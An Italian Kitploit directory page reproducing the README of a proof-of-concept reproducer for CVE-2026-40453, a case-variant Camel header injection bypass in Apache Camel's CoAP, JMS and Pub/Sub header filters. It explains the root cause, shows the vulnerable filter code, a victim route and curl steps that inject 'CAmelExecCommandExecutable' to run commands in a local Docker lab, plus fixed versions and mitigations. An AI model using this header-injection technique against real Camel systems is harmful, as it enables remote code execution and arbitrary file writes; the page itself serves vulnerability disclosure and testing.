Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduttore di Iniezione di Intestazioni Camel con Variazione di Maiuscole/Minusscole (CVE-2026-40453)

Questo progetto dimostra CVE-2026-40453 — una correzione incompleta per CVE-2025-27636. La correzione del 2025 ha aggiunto setLowerCase(true) a HttpHeaderFilterStrategy in modo che i nomi di intestazione con variazione di maiuscole/minuscole (es. CAmelExecCommandExecutable) vengano filtrati insieme al canonico CamelExecCommandExecutable. La stessa chiamata non è stata applicata a cinque implementazioni di HeaderFilterStrategy non-HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), che filtrano in modo case-sensitive mentre la Camel Exchange memorizza le intestazioni in una mappa case-insensitive. Un attaccante può quindi iniettare un'intestazione di controllo Camel* con variazione di maiuscole/minuscole che elude il filtro ma viene comunque risolta dai componenti downstream (camel-exec, camel-file, ...) con il suo nome canonico → esecuzione remota di codice / scrittura arbitraria di file.

Questo riproduttore dimostra l'elusione con camel-coap (autonomo, nessun broker esterno); la stessa falla interessa le strategie JMS/SJMS/Google-Pubsub.

Avviso: https://camel.apache.org/security/CVE-2026-40453.html

Riepilogo della Vulnerabilità

Dettagli Tecnici

CoAPHeaderFilterStrategy (versione affetta) filtra Camel* in modo case-sensitive:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Quando arriva una richiesta CoAP, CamelCoapResource.handleRequest() mappa ogni parametro URI-query nelle intestazioni In della Exchange, controllato da strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable — startsWith("Camel") è true → filtrato.
  • CAmelExecCommandExecutable — startsWith("Camel") è false (CAm ≠ Cam) → non filtrato.

La mappa delle intestazioni Exchange è case-insensitive, quindi l'intestazione con variazione di maiuscole/minuscole viene successivamente risolta dal produttore exec con il suo nome canonico CamelExecCommandExecutable, sovrascrivendo il comando.

La route vittima

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Prerequisiti

  • Java 17+ e Maven 3.8+
  • Docker

Passaggi di Riproduzione

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Benigno

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Intestazione canonica — FILTRATA (nessuna RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Intestazione con variazione di maiuscole/minuscole — BYPASS (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Pulizia

root@kitploit:~
docker compose down

Correzione Raccomandata

Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. La correzione (CAMEL-23313) aggiunge setLowerCase(true) alle cinque implementazioni di HeaderFilterStrategy non-HTTP in modo che anche i nomi Camel* con variazione di maiuscole/minuscole vengano filtrati.

Mitigazione

Fino all'aggiornamento:

  1. Rimuovere le intestazioni Camel in modo case-insensitive a valle di produttori non fidati — un HeaderFilterStrategy personalizzato con setLowerCase(true), oppure removeHeaders con un pattern case-insensitive.
  2. Evitare l'inoltro di messaggi JMS/CoAP/Pub-Sub non fidati verso produttori guidati da intestazioni.

File

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # vittima: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtrato), /attack (bypass con variazione maiuscole/minuscole)
    └── resources/
        └── application.properties

Disclaimer

Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

Scarica lo strumento
ProprietàValore
Componenticamel-jms, camel-sjms, camel-coap, camel-google-pubsub (questo PoC usa camel-coap)
Classi AffetteJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
Causa principaleFiltraggio case-sensitive con startsWith("Camel"/"camel") (manca setLowerCase(true)) rispetto a una mappa di intestazioni Exchange case-insensitive
CWECWE-20 (Convalida Input Impropria) — iniezione di intestazioni di messaggio
ImpattoRCE / scrittura arbitraria di file tramite produttori guidati da intestazioni
Versioni AffetteDa 3.0.0 prima di 4.14.6, da 4.15.0 prima di 4.18.2, da 4.19.0 prima di 4.20.0
Versioni Corrette4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (completa la correzione per CVE-2025-27636)
Segnalato daSaroj Khadka